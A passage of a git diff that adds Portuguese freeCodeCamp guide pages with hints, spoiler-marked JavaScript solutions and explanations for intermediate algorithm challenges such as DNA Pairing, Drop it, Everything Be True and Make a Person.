+```
+function diffArray(arr1, arr2) { 
+  return [ 
+    ...diff(arr1, arr2), 
+    ...diff(arr2, arr1) 
+  ] 
+ 
+  function diff(a, b) { 
+    return a.filter(item => b.indexOf(item) === -1); 
+  } 
+ } 
+```
+
+#### Links Relevantes
+
+*   [Array.prototype.includes (Devdocs)](https://devdocs.io/javascript/global_objects/array/includes)
+*   [Array.prototype.filter (Devdocs)](https://devdocs.io/javascript/global_objects/array/filter)
+*   [Array.prototype.concat (Devdocs)](https://devdocs.io/javascript/global_objects/array/concat)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md
new file mode 100644
index 0000000000..eac7b6dc93
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/dna-pairing/index.md
@@ -0,0 +1,142 @@
+---
+title: Dna Pairing
+localeTitle: Dna Emparelhamento
+---
+![DNA](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2798a83aaaa34ec2b18f4b8ec122b76c264a9d67.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+*   Você obterá uma seqüência de fita de DNA e precisará obter o par e devolvê-lo como uma matriz 2D dos pares de bases. Tenha em mente que o fio fornecido deve ser o primeiro sempre.
+    
+*   Outra maneira de interpretar o problema: existem quatro caracteres potenciais que existem no DNA: "A", "T", "G" e "C". "A" e "T" estão sempre emparelhados, e "G" e "C" estão sempre emparelhados.  
+    Este problema apresenta uma entrada, por exemplo, "ATCGA". Cada um desses cinco personagens está faltando seus pares.  
+    Por exemplo, o primeiro caractere "A" precisa ser emparelhado com "T" para fornecer o elemento da matriz \["A", "T"\].  
+    O segundo caractere "T" precisa ser emparelhado com "A" para fornecer o elemento da matriz \["T", "A"\].  
+    O número de elementos na saída final é igual ao número de caracteres na entrada.
+    
+
+Esse problema não envolve reorganizar a entrada em combinações ou permutações diferentes.
+
+#### Links Relevantes
+
+*   [Array.push ()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [String.split ()](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Existem dois casos básicos, AT e CG, ambos em ambos os sentidos. Você pode usar expressões regulares, se declarações de qualquer coisa que você pode pensar.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Eu recomendaria usar um switch, pois torna as coisas muito mais suaves.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   O resultado deve ser uma matriz de matrizes, por isso tenha isso em mente ao empurrar as coisas.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function pairElement(str) { 
+      // Return each strand as an array of two elements, the original and the pair. 
+      var paired = []; 
+ 
+      // Function to check with strand to pair. 
+      var search = function(char) { 
+        switch (char) { 
+          case 'A': 
+            paired.push(['A', 'T']); 
+            break; 
+          case 'T': 
+            paired.push(['T', 'A']); 
+            break; 
+          case 'C': 
+            paired.push(['C', 'G']); 
+            break; 
+          case 'G': 
+            paired.push(['G', 'C']); 
+            break; 
+        } 
+      }; 
+ 
+      // Loops through the input and pair. 
+      for (var i = 0; i < str.length; i++) { 
+        search(str[i]); 
+      } 
+ 
+      return paired; 
+    } 
+ 
+    // test here 
+    pairElement("GCG"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmz/0)
+
+### Explicação do código:
+
+*   O programa é muito simples, a melhor solução que tenho é usar um switch para capturar todos os quatro elementos possíveis. Usando instruções if levaria muito código. Você também pode usar expressões regulares.
+*   Já que temos o original e o par, decidi pegar todos os quatro casos ao invés dos dois básicos.
+*   Crie uma matriz vazia e use a função de `search` para enviar os valores corretos para a matriz e retorná-los.
+
+#### Links Relevantes
+
+*   [Switch Statements](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+```javascript
+    function pairElement(str) { 
+    //create object for pair lookup 
+    var pairs = { 
+      "A": "T", 
+      "T": "A", 
+      "C": "G", 
+      "G": "C" 
+    } 
+    //split string into array of characters 
+    var arr = str.split(""); 
+    //map character to array of character and matching pair 
+    return arr.map(x => [x,pairs[x]]); 
+  } 
+ 
+  //test here 
+  pairElement("GCG"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/repls/ThoroughSphericalComputeranimation)
+
+## Explicação do código:
+
+*   Primeiro defina um objeto com todas as possibilidades de pares, isso nos permite encontrar facilmente por chave ou valor.
+*   Dividir `str` em uma matriz de caracteres para que possamos usar cada letra para encontrar seu par.
+*   Use a função map para mapear cada caractere na matriz para uma matriz com o caractere e seu par correspondente, criando uma matriz 2D.
+
+#### Links Relevantes
+
+*   [Array.prototype.map ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [Acessores de propriedade](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors)
+*   [Funções de seta](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md
new file mode 100644
index 0000000000..d2ac013d52
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md
@@ -0,0 +1,129 @@
+---
+title: Drop it
+localeTitle: Largue
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/236dcca68bf55be37bf7cbb9646f6e0156b4a3c3.png)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Basicamente, enquanto o segundo argumento não é verdade, você terá que remover o primeiro elemento da esquerda da matriz que foi passada como o primeiro argumento.
+
+#### Links Relevantes
+
+*   [Argumentos objeto](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.shift ()](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [Array.slice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você pode usar o `Array.prototype.shift()` ou o filtro com o qual você deve estar mais familiarizado para resolver esse problema em algumas linhas de código.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Shift retorna o elemento que foi removido que realmente não precisamos, tudo que precisamos é o array modificado que resta.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Se você ainda não consegue descobrir como resolvê-lo com turno, tente resolvê-lo com filtro e verifique como o filtro funciona, se você se familiarizar com ele, então você pode fazer o código com turno.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function dropElements(arr, func) { 
+  // drop them elements. 
+  var times = arr.length; 
+  for (var i = 0; i < times; i++) { 
+    if (func(arr[0])) { 
+      break; 
+    } else { 
+      arr.shift(); 
+    } 
+  } 
+  return arr; 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}) 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLna/0)
+
+### Explicação do código:
+
+*   Crie um loop for para verificar cada elemento.
+*   Em seguida, verifique a função dada se true, em seguida, pare, caso contrário, remova esse elemento.
+*   retornar a matriz.
+
+#### Links Relevantes
+
+*   [For Loops](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [Mais sobre for loops](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function dropElements(arr, func) { 
+  return arr.slice(arr.findIndex(func) >= 0 ? arr.findIndex(func): arr.length, arr.length); 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnc/0)
+
+### Explicação do código:
+
+*   Use a função ES6 `findIndex()` para encontrar o índice do elemento que passa a condição
+*   Fatie a matriz do índice encontrado até o final
+*   Existe um caso de borda! se a condição não for atendida contra qualquer um dos elementos 'findIndex' retornará `-1` que atrapalha a entrada para `slice()` . Nesse caso, use um operador condicional simples para retornar `false` vez de `-1` . E o operador ternário (? ![:slight_smile:](https://forum.freecodecamp.com/images/emoji/emoji_one/slight_smile.png?v=3 ": slight_smile:") retorna o índice encontrado dos elementos requeridos quando a condição é `true` , e o comprimento da matriz, caso contrário, para que o valor de retorno seja uma matriz vazia conforme instruído.
+
+#### Links Relevantes
+
+*   [findIndex ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+*   [Operador Condicional](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function dropElements(arr, func) { 
+  while(arr.length > 0 && !func(arr[0])) { 
+    arr.shift(); 
+  } 
+  return arr; 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnf/0)
+
+### Explicação do código
+
+*   Use um loop while com `Array.prototype.shift()` para continuar verificando e `Array.prototype.shift()` o primeiro elemento da matriz até que a função retorne true. Ele também garante que o array não esteja vazio primeiro para evitar loops infinitos.
+*   Retorne a matriz filtrada.
+
+#### Links Relevantes
+
+*   [Enquanto loops](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md
new file mode 100644
index 0000000000..bd74676683
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md
@@ -0,0 +1,132 @@
+---
+title: Everything Be True
+localeTitle: Tudo ser verdadeiro
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d69c7f2d86b8902a9bc83653d95932115de47e6a.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+O programa precisa verificar se o segundo argumento é um [truthy](http://forum.freecodecamp.com/t/javascript-truthy-value/15975) elemento, e deve verificar isso para cada objeto no primeiro argumento.
+
+#### Links Relevantes
+
+*   [JavaScript Truthy](http://forum.freecodecamp.com/t/javascript-truthy-value/15975)
+*   [Argumentos JavaScript](http://forum.freecodecamp.com/t/javascript-arguments/14283.md)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Lembre-se de percorrer o primeiro argumento para verificar cada objeto.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Somente se todos eles forem verdade, retornaremos como verdadeiros, portanto, certifique-se de verificar todos eles.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+> _tente resolver o problema agora_
+
+Você poderia usar loops ou funções de callbacks, existem várias maneiras de resolver este problema.
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Soluções à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+**Usando loop for-in e hasOwnProperty**
+```
+function truthCheck(collection, pre) { 
+  // Create a counter to check how many are true. 
+  var counter = 0; 
+  // Check for each object 
+  for (var c in collection) { 
+    // If it is has property and value is truthy 
+    if (collection[c].hasOwnProperty(pre) && Boolean(collection[c][pre])) { 
+      counter++; 
+    } 
+  } 
+  // Outside the loop, check to see if we got true for all of them and return true or false 
+  return counter == collection.length; 
+ } 
+ 
+ // test here 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLnw/0)
+
+### Explicação do código:
+
+*   Primeiro, crio um contador para verificar quantos casos são realmente verdadeiros.
+*   Em seguida, verifique cada objeto se o valor for verdadeiro
+*   Fora do loop, eu verifico se a variável do contador tem o mesmo valor que o tamanho da **coleção** , se true retorna **true** , caso contrário, retorna **false**
+
+#### Links Relevantes
+
+*   [Loops JS](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [Object.prototype.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+**Usando Array.every ()**
+```
+function truthCheck(collection, pre) { 
+  return collection.every(function (element) { 
+    return element.hasOwnProperty(pre) && Boolean(element[pre]); 
+  }); 
+ } 
+ 
+ // test here 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLny/0)
+
+### Explicação do código:
+
+*   Usa o método nativo "every" para testar se todos os elementos da matriz passam no teste.
+*   Este link ajudará o [Array.prototype.every ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+#### Links Relevantes
+
+*   [JS Array.prototype.every ()](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+*   [MDN Array.prototype.every ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function truthCheck(collection, pre) { 
+  // Is everyone being true? 
+  return collection.every(obj => obj[pre]); 
+ } 
+ 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/E2u6/0)
+
+### Explicação do código:
+
+*   Para _cada_ objeto na matriz de `collection` , verifique a exatidão da propriedade do objeto passada no parâmetro `pre`
+*   `Array#every` método verifica internamente se o valor retornado do retorno de chamada é verdadeiro.
+*   Retorna `true` se passar por _todos os_ objetos. Caso contrário, retorne `false` .
+
+#### Links Relevantes
+
+*   [`Array#every`](http://devdocs.io/javascript/global_objects/array/every)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md
new file mode 100644
index 0000000000..984e894dc2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Intermediate Algorithm Scripting
+localeTitle: Algoritmo de Algoritmo Intermediário
+---
+## Algoritmo de Algoritmo Intermediário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md
new file mode 100644
index 0000000000..ee1c767ed5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md
@@ -0,0 +1,114 @@
+---
+title: Make a Person
+localeTitle: Faça uma pessoa
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Quando iniciei o programa, imaginei que tinha que criar as seis funções mencionadas nos detalhes. No entanto, não foi assim tão simples. Criando-os como uma função não era o caminho certo, eu tive que criá-los de uma maneira diferente para torná-los uma chave.
+
+Há também uma parte complicada, já que você precisa de seis chaves, não mais ou menos, então no começo eu tinha a variável que armazenava o nome original como uma chave também, o que estava errado.
+
+Quanto ao uso da matriz, que é opcional, você também pode criar uma nova variável para manter a string separada, se desejar, mas é mais fácil lidar com uma matriz, pois as strings são imutáveis.
+
+Leia atentamente as instruções, é sempre uma boa dica para executar o código e verificar quais foram os resultados do teste para que você saiba o que esperar, mas não se fixe nisso. Depois de entender o que você precisa fazer, esse problema é muito fácil e direto.
+
+#### Links Relevantes
+
+*   [Fechamentos](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)
+*   [Detalhes do modelo de objeto](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Use **esta** notação para criar as chaves em vez de funções regulares: Isto significa que em vez de `var varName = function() {/*...*/}` você deve usar `this.varName = function() {/*...*/}`
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+O programa tem um teste que verifica quantas chaves você usou, elas precisam ser exatamente seis, as seis mencionadas na seção de detalhes. Isso significa que, se você precisar trabalhar com variáveis, torne-as locais e não uma chave: `this.fullName = firstAndLast;`
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Muitas vezes, o código não funciona da maneira esperada devido a nomes incorretos de variáveis, certifique-se de verificar se os soletram corretamente. Isso acontece com todos nós em algum momento.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 4
+
+Se você está tendo problemas em escrever os métodos `setter` , abaixo está um template para um método `set` :
+
+```js
+this.setFullName = function(input) { 
+  // Insert your code here 
+ } 
+```
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```js
+var Person = function(firstAndLast) { 
+  var fullName = firstAndLast; 
+ 
+  this.getFirstName = function() { 
+    return fullName.split(" ")[0]; 
+  }; 
+ 
+  this.getLastName = function() { 
+    return fullName.split(" ")[1]; 
+  }; 
+ 
+  this.getFullName = function() { 
+    return fullName; 
+  }; 
+ 
+  this.setFirstName = function(name) { 
+    fullName = name + " " + fullName.split(" ")[1]; 
+  }; 
+ 
+  this.setLastName = function(name) { 
+    fullName = fullName.split(" ")[0] + " " + name; 
+  }; 
+ 
+  this.setFullName = function(name) { 
+    fullName = name; 
+  }; 
+ }; 
+ 
+ var bob = new Person('Bob Ross'); 
+ bob.getFullName(); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLov/0)
+
+### Explicação do código:
+
+*   Crie uma variável que faça uma cópia do nome completo que foi passado como um parâmetro.
+*   Então podemos prosseguir para criar os seis métodos necessários e retornar o que é solicitado.
+*   Para os setters individuais, podemos usar a divisão para transformar o nome completo em uma matriz de nomes e sobrenomes e concatenar a parte inalterada do nome com o que foi passado como um parâmetro.
+
+#### Links Relevantes
+
+*   [Como construir objetos](https://www.freecodecamp.org/challenges/build-javascript-objects)
+*   [Construa objetos com funções](https://www.freecodecamp.org/challenges/construct-javascript-objects-with-functions)
+*   [Declarar objetos como variáveis](https://www.freecodecamp.org/challenges/declare-javascript-variables)
+
